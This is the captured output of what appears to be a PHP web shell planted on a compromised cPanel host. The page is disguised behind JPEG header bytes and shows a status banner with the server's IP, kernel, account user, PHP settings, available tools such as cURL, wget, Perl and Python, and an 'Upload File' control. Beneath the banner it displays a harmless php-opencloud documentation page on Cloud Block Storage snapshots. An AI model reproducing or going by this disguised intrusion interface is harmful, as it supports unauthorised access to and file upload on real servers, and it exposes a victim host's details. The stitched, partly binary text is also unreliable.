����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/rackspace/php-opencloud/doc/services/volume/ |
Upload File : |
Snapshots
=========
Create a snapshot
-----------------
A ``Snapshot`` object is created from the Cloud Block Storage service.
However, it is associated with a volume, and you must specify a volume
to create one:
.. code-block:: php
// New instance of OpenCloud\Volume\Resource\Snapshot
$snapshot = $service->snapshot();
// Send to API
$snapshot->create(array(
'display_name' => 'Name that snapshot',
'volume_id' => $volume->id
));
`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Volume/create-snapshot.php>`_
List snapshots
--------------
.. code-block:: php
$snapshots = $service->snapshotList();
foreach ($snapshots as $snapshot) {
/** @param $snapshot OpenCloud\Volume\Resource\Snapshot */
}
`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Volume/list-snapshots.php>`_
To get details on a single snapshot
-----------------------------------
.. code-block:: php
$snapshot = $dallas->snapshot('{snapshotId}');
`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Volume/get-snapshot.php>`_
To delete a snapshot
--------------------
.. code-block:: php
$snapshot->delete();
`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Volume/delete-snapshot.php>`_